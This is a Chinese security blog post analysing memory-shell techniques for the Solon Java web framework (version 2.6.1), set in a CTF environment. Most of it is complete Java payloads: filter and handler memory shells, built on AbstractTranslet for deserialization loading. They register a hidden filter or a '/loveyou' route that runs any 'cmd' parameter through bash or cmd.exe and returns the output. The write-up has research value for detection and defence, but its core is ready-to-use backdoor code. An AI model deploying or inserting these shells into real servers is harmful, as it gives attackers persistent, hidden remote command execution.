Solon内存马分析
2025-03-12 12:09:20

具体参考

https://l1nyz-tel.cc/2024/9/19/Solon-MemShell/

https://forum.butian.net/share/3717

这里用的是ciscn bookmanager的环境,Solon版本为2.6.1,Solon版本差异很大,在其他版本中不一定适用,需要稍作修改,但原理是差不多的。

前置

SolonApp 是框架的核心对象,也是应用生命周期的主体。一般通过 Solon.start(…) 产生,通过 Solon.app() 获取. //在低版本可能是通过Solon.global()

可以通过此处获取对应参数并注册相关服务

Filter内存马

访问路由时追溯调用栈,可以发现对Filter的处理来自于ChainManager

可以发现相关添加Filter和调用Filter逻辑

在上一步tryHandler中查找ChainManager是怎么获取调用的

来自于this.chainManager()

Filter来自于SolonApp下的_chainManager参数,也就是说我们通过反射获取到_chainManager后即可通过addFilter逻辑来新增filter

尝试使用Java-object-Searcher http://github.com/c0ny1/java-object-searcher

List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_name("_chainManager").setField_type("ChainManager").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setIs_debug(true);
searcher.setMax_search_depth(20);
searcher.setReport_save_path("/tmp/");
searcher.searchObject();

得到结果


TargetObject = {java.lang.Thread} 
  ---> inheritableThreadLocals = {java.lang.ThreadLocal$ThreadLocalMap} 
   ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} 
    ---> [4] = {java.lang.ThreadLocal$ThreadLocalMap$va} 
     ---> value = {org.noear.solon.boot.jlhttp.JlHttpContext} 
      ---> _request = {org.noear.solon.boot.jlhttp.HTTPServer$Request} 
       ---> context = {org.noear.solon.boot.jlhttp.HTTPServer$VirtualHost$ContextInfo} 
        ---> handlers = {java.util.Map<java.lang.String, org.noear.solon.boot.jlhttp.HTTPServer$ContextHandler>} 
         ---> [*] = {org.noear.solon.boot.jlhttp.JlHttpContextHandler} 
          ---> handler = {org.noear.solon.boot.jlhttp.XPluginImp$$Lambda$77/0x0000000800108828} 
           ---> arg$1 = {org.noear.solon.SolonApp} 
             ---> _chainManager = {org.noear.solon.core.ChainManager}

实际上JlHttpContext可以通过Context.current()获取,剩下的去反射,所以内存马编写如下

@Mapping("/inject")
public String inject()throws Exception {
Object obj = Context.current();
Field field = obj.getClass().getDeclaredField("_request");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("handlers");
field.setAccessible(true);
Map obj1 = (Map) field.get(obj);
obj = obj1.get("*");

field = obj.getClass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);


field = obj.getClass().getDeclaredField("arg$1");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getSuperclass().getDeclaredField("_chainManager");
field.setAccessible(true);
obj = field.get(obj);

ChainManager chainmanager = (ChainManager)obj;
chainmanager.addFilter(new FilterMemshell(),0);

return "1";
}

访问一次路由注入,后续即可随意访问路由传递参数执行命令


后续看了tel师傅分析的Handler内存马,我发现对于Filter内存马,也存在着简易的写法

Solon.app().chainManager().addFilter(new FilterMemshell(),0);

最终的内存马(可用于templates加载


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.noear.solon.Solon;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;

public class FilterShell  extends AbstractTranslet implements Filter {
    static {
        try {
            Solon.app().chainManager().addFilter(new FilterShell(),0);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }


    @Override
    public void doFilter(Context ctx, FilterChain chain) throws Throwable {
        try{
            if(ctx.param("cmd")!=null){
                String str = ctx.param("cmd");
                try{
                    String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str};
                    String output = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
                    ctx.output(output);
                }catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }catch (Throwable e){
            System.out.println("异常:"+e.getMessage())    ;
        }
        chain.doFilter(ctx);
    }
}


使用templates加载

彩蛋

其实ChainManager中还存在Interceptor处理逻辑,可以去编写Interceptor内存马等

Handler内存马

在Solon.app的结果中,我们可以看见_router对应的方法

重点在于RouterDefault的add方法处

一开始的设想是通过反射获取context中的_router对象,通过add方法注册路由,实际上文章1也是如此。后续发现可以通过自带函数去获取对象并进行注册,只需要去实现一个Handler即可

这里就不再细致调试,实际上关于普通handler的创建是通过Action的

Action的构造需要一个BeanWrap和Method,method是Handler调用的方法,BeanWrap是对方法所在类的封装

BeanWrap需要一个当前环境下的context,我们可以通过Solon.contenxt()获取

注册逻辑

BeanWrap beanWrap = new BeanWrap(Solon.context(), HandlerShell.class);
Method shell = HandlerShell.class.getDeclaredMethod("Shell");
Action action = new Action(beanWrap, shell);
Solon.app().router().add("/loveyou", action);

最终内存马为

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.noear.solon.Solon;
import org.noear.solon.core.BeanWrap;
import org.noear.solon.core.handle.Action;
import org.noear.solon.core.handle.Context;

import java.lang.reflect.Method;

public class HandlerShell extends AbstractTranslet{

    static {
        try{
            BeanWrap beanWrap = new BeanWrap(Solon.context(), HandlerShell.class);
            Method shell = HandlerShell.class.getDeclaredMethod("Shell");
            Action action = new Action(beanWrap, shell);
            Solon.app().router().add("/loveyou", action);
        }catch(Exception ex){
            System.out.println("error");
        }
    }

    public void Shell(){
        Context ctx = Context.current();
        try{
            if(ctx.param("cmd")!=null){
                String str = ctx.param("cmd");
                try{
                    String[] cmds =
                    System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str};
                    String output = (new java.util.Scanner((new
                                                            ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\\\A").next();
                    ctx.output(output);
                }catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }catch (Throwable e){
            ctx.output(e.getMessage());
        }
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }


}

对类进行加载

执行成功


在tel师傅的分析中,使用了HandlerLoader.load方法去新增Handler,由于版本原因,对payload进行相应修改

2.6.1版本 //Solon.app代替了Solon.global(),BeanWrap的构造函数需要context

BeanWrap beanWrap = new BeanWrap(Solon.context(),InjectMemShell.class);
HandlerLoader handlerLoader = new HandlerLoader(beanWrap);
handlerLoader.load(Solon.app());

进入调试中

loadActions中取出了我们的路由对应的index方法,进入loadActionItem

loadActionItem获取了注解相关信息

经过一系列检查处理,创建Action(也就是Handler,回顾上面的)

最终调用slots.add方法新增路由

这里调用的是SolonApp父类RouterWrapper的add方法

tel师傅写的原版payload,低版本可用

BeanWrap beanWrap = new BeanWrap(InjectMemShell.class);
HandlerLoader handlerLoader = new HandlerLoader(beanWrap);
handlerLoader.load(Solon.global());

最终内存马


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.noear.solon.Solon;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.core.BeanWrap;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.HandlerLoader;

public class HandlerShell2 extends AbstractTranslet {
    static {
        BeanWrap beanWrap = new BeanWrap(Solon.context(),HandlerShell2.class);
        HandlerLoader handlerLoader = new HandlerLoader(beanWrap);
        handlerLoader.load(Solon.app());

        //低版本
//        BeanWrap beanWrap = new BeanWrap(HandlerShell2.class);
//        HandlerLoader handlerLoader = new HandlerLoader(beanWrap);
//        handlerLoader.load(Solon.global());
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Mapping("/loveyou")
    public void index(String cmd) throws Exception {
        Context ctx = Context.current();
        try{
            if(ctx.param("cmd")!=null){
                String str = ctx.param("cmd");
                try{
                    String[] cmds =
                            System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str};
                    String output = (new java.util.Scanner((new
                            ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\\\A").next();
                    ctx.output(output);
                }catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }catch (Throwable e){
            ctx.output(e.getMessage());
        }
    }
}
Prev
2025-03-12 12:09:20
Next